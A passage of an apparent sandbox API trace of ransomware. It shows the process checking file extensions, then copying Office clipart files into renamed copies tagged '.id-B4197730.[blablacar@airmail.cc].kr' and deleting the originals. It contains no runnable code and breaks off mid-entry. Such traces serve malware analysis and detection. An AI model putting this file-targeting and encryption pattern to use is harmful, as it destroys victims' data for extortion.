[0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.312] lstrlenW (lpString=".doc") returned 4 [0201.312] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.312] lstrlenW (lpString=".docx") returned 5 [0201.312] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0201.312] lstrlenW (lpString=".pdf") returned 4 [0201.312] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.312] lstrlenW (lpString=".xls") returned 4 [0201.312] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.312] lstrlenW (lpString=".xlsx") returned 5 [0201.312] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0201.312] lstrlenW (lpString=".ppt") returned 4 [0201.312] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.312] lstrlenW (lpString=".zip") returned 4 [0201.312] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.312] lstrlenW (lpString=".rar") returned 4 [0201.312] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.312] lstrlenW (lpString=".bz2") returned 4 [0201.312] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.312] lstrlenW (lpString=".7z") returned 3 [0201.312] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.312] lstrlenW (lpString=".dbf") returned 4 [0201.312] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.312] lstrlenW (lpString=".1cd") returned 4 [0201.312] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.313] lstrlenW (lpString=".jpg") returned 4 [0201.313] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.313] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0201.313] lstrlenW (lpString="J0099163.WMF") returned 12 [0201.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.313] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=22356) returned 1 [0201.313] CloseHandle (hObject=0x534) returned 1 [0201.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220 [0201.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.314] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.314] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.315] GetLastError () returned 0x0 [0201.315] ReadFile (in: hFile=0x534, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x5754, lpOverlapped=0x0) returned 1 [0201.428] WriteFile (in: hFile=0x3e8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x5760, lpOverlapped=0x0) returned 1 [0201.430] ReadFile (in: hFile=0x534, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.430] WriteFile (in: hFile=0x3e8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0201.430] SetEndOfFile (hFile=0x3e8) returned 1 [0201.430] CloseHandle (hObject=0x3e8) returned 1 [0201.430] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.431] SetEndOfFile (hFile=0x534) returned 1 [0201.433] CloseHandle (hObject=0x534) returned 1 [0201.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0201.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.755] lstrlenW (lpString=".doc") returned 4 [0201.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.755] lstrlenW (lpString=".docx") returned 5 [0201.755] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0201.755] lstrlenW (lpString=".pdf") returned 4 [0201.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.755] lstrlenW (lpString=".xls") returned 4 [0201.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.755] lstrlenW (lpString=".xlsx") returned 5 [0201.755] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0201.755] lstrlenW (lpString=".ppt") returned 4 [0201.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.755] lstrlenW (lpString=".zip") returned 4 [0201.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.755] lstrlenW (lpString=".rar") returned 4 [0201.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.756] lstrlenW (lpString=".bz2") returned 4 [0201.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.756] lstrlenW (lpString=".7z") returned 3 [0201.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.756] lstrlenW (lpString=".dbf") returned 4 [0201.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.756] lstrlenW (lpString=".1cd") returned 4 [0201.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.756] lstrlenW (lpString=".jpg") returned 4 [0201.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.756] lstrlenW (lpString=".doc") returned 4 [0201.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.756] lstrlenW (lpString=".docx") returned 5 [0201.756] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0201.756] lstrlenW (lpString=".pdf") returned 4 [0201.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.756] lstrlenW (lpString=".xls") returned 4 [0201.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.756] lstrlenW (lpString=".xlsx") returned 5 [0201.756] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0201.756] lstrlenW (lpString=".ppt") returned 4 [0201.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.757] lstrlenW (lpString=".zip") returned 4 [0201.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.757] lstrlenW (lpString=".rar") returned 4 [0201.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.757] lstrlenW (lpString=".bz2") returned 4 [0201.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.757] lstrlenW (lpString=".7z") returned 3 [0201.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.757] lstrlenW (lpString=".dbf") returned 4 [0201.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.757] lstrlenW (lpString=".1cd") returned 4 [0201.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0201.757] lstrlenW (lpString=".jpg") returned 4 [0201.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.757] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.757] lstrlenW (lpString="J0099168.JPG") returned 12 [0201.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.823] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=20179) returned 1 [0202.835] CloseHandle (hObject=0x558) returned 1 [0202.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220 [0202.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.836] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.836] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.837] GetLastError () returned 0x0 [0202.837] ReadFile (in: hFile=0x558, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0202.839] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0202.840] ReadFile (in: hFile=0x558, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.840] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.840] SetEndOfFile (hFile=0x534) returned 1 [0202.840] CloseHandle (hObject=0x534) returned 1 [0202.840] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.840] SetEndOfFile (hFile=0x558) returned 1 [0202.843] CloseHandle (hObject=0x558) returned 1 [0202.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0202.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.844] lstrlenW (lpString=".doc") returned 4 [0202.844] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0202.844] lstrlenW (lpString=".docx") returned 5 [0202.844] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0202.844] lstrlenW (lpString=".pdf") returned 4 [0202.844] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0202.844] lstrlenW (lpString=".xls") returned 4 [0202.844] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0202.844] lstrlenW (lpString=".xlsx") returned 5 [0202.844] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0202.844] lstrlenW (lpString=".ppt") returned 4 [0202.844] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.845] lstrlenW (lpString=".zip") returned 4 [0202.845] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0202.845] lstrlenW (lpString=".rar") returned 4 [0202.845] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0202.845] lstrlenW (lpString=".bz2") returned 4 [0202.845] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0202.845] lstrlenW (lpString=".7z") returned 3 [0202.845] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.845] lstrlenW (lpString=".dbf") returned 4 [0202.845] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.845] lstrlenW (lpString=".1cd") returned 4 [0202.845] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.845] lstrlenW (lpString=".jpg") returned 4 [0202.845] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0202.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.845] lstrlenW (lpString=".doc") returned 4 [0202.845] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0202.845] lstrlenW (lpString=".docx") returned 5 [0202.845] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0202.845] lstrlenW (lpString=".pdf") returned 4 [0202.845] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0202.845] lstrlenW (lpString=".xls") returned 4 [0202.845] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0202.845] lstrlenW (lpString=".xlsx") returned 5 [0202.845] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0202.845] lstrlenW (lpString=".ppt") returned 4 [0202.845] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.846] lstrlenW (lpString=".zip") returned 4 [0202.846] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0202.846] lstrlenW (lpString=".rar") returned 4 [0202.846] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0202.846] lstrlenW (lpString=".bz2") returned 4 [0202.846] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0202.846] lstrlenW (lpString=".7z") returned 3 [0202.846] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0202.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.846] lstrlenW (lpString=".dbf") returned 4 [0202.846] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0202.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.846] lstrlenW (lpString=".1cd") returned 4 [0202.846] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0202.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0202.846] lstrlenW (lpString=".jpg") returned 4 [0202.846] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0202.846] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.846] lstrlenW (lpString="J0099175.WMF") returned 12 [0202.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.847] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=9744) returned 1 [0202.847] CloseHandle (hObject=0x558) returned 1 [0202.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0202.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.848] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.848] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.849] GetLastError () returned 0x0 [0202.849] ReadFile (in: hFile=0x558, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x2610, lpOverlapped=0x0) returned 1 [0202.851] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x2620, lpOverlapped=0x0) returned 1 [0202.853] ReadFile (in: hFile=0x558, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.853] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.853] SetEndOfFile (hFile=0x534) returned 1 [0202.853] CloseHandle (hObject=0x534) returned 1 [0202.853] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.853] SetEndOfFile (hFile=0x558) returned 1 [0202.855] CloseHandle (hObject=0x558) returned 1 [0202.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0202.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.857] lstrlenW (lpString=".doc") returned 4 [0202.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.857] lstrlenW (lpString=".docx") returned 5 [0202.857] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0202.857] lstrlenW (lpString=".pdf") returned 4 [0202.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.857] lstrlenW (lpString=".xls") returned 4 [0202.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.857] lstrlenW (lpString=".xlsx") returned 5 [0202.857] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0202.857] lstrlenW (lpString=".ppt") returned 4 [0202.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.857] lstrlenW (lpString=".zip") returned 4 [0202.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.857] lstrlenW (lpString=".rar") returned 4 [0202.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.857] lstrlenW (lpString=".bz2") returned 4 [0202.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.857] lstrlenW (lpString=".7z") returned 3 [0202.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.857] lstrlenW (lpString=".dbf") returned 4 [0202.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.857] lstrlenW (lpString=".1cd") returned 4 [0202.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.857] lstrlenW (lpString=".jpg") returned 4 [0202.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.858] lstrlenW (lpString=".doc") returned 4 [0202.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.858] lstrlenW (lpString=".docx") returned 5 [0202.858] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0202.858] lstrlenW (lpString=".pdf") returned 4 [0202.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.858] lstrlenW (lpString=".xls") returned 4 [0202.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.858] lstrlenW (lpString=".xlsx") returned 5 [0202.858] lstrcmpiW 